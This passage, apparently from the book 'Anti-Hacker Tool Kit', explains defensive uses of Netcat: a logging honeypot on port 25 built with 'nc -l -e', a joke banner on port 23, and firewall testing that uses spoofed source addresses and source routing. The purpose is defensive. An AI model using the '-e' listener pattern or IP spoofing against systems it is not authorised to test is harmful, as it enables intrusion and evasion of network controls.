This one can be an amusing deterrent to would-be hackers. By running an instance of a listening Netcat on a well-known port where a hacker might be expecting to find a vulnerable service, you can mislead the hacker into thinking you're running something you're not. If you set it up carefully , you might even be able to trap the hacker.

 [root@originix nc]# ./nc -l -v -e fakemail.pl -p 25 >> traplog.txt 

Your fakemail script might echo some output to tell the world it's running a "swiss-cheese" version of sendmail and practically beg a script kiddy to come hack it. Upon connection termination (EOF), your script would need to restart the same Netcat command. But if someone started getting too nosey, your script could use the yes command to dump arbitrary garbage over the connection. Even if you prefer to be subtler, you can at least get a list of IP addresses that messed with you in traplog.txt.

A more innocuous honeypot could merely print a fun prompt when a user connects to the port:

 [Paris:~] mike% nc honeypot 23     **** COMMODORE 64 ROM V1.1 **** 64K RAM SYSTEM 38911 BASIC BYTES FREE READY. 

Just remember that if you try anything more complicated than dumping some text to the port, such as accepting user input, make sure your honeypot doesn't introduce an unexpected vulnerability!

Testing Networking Equipment

We won't spend too much time here. You can use Netcat to set up listeners on one end of a network and attempt to connect to them from the other end. You can test many network devices (routers, firewalls, and so on) for connectivity by seeing what kinds of traffic you can pass. And since Netcat lets you spoof your source IP address, you can even check IP-based firewall rules so you don't spend any more time wondering if your firewall is actually doing what it's supposed to.

You can also use the g option to attempt source routing against your network. Most network devices should be configured to ignore source-routing options as their use is almost never legitimate .

Create Your Own!

The Netcat source tarball comes with several shell scripts and C programs that demonstrate even more possible uses for Netcat. With some programming experience, you can get even more mileage out of Netcat. Take a look at the README file as well as some of the examples in the "data" and "scripts" subdirectories. They might get you thinking about some other things you can do.



Anti-Hacker Tool Kit
Anti-Hacker Tool Kit, Third Edition
ISBN: 0072262877
EAN: 2147483647
Year: 2006
Pages: 175

flylib.com © 2008-2017.
If you may any questions please contact us: flylib@qtcs.net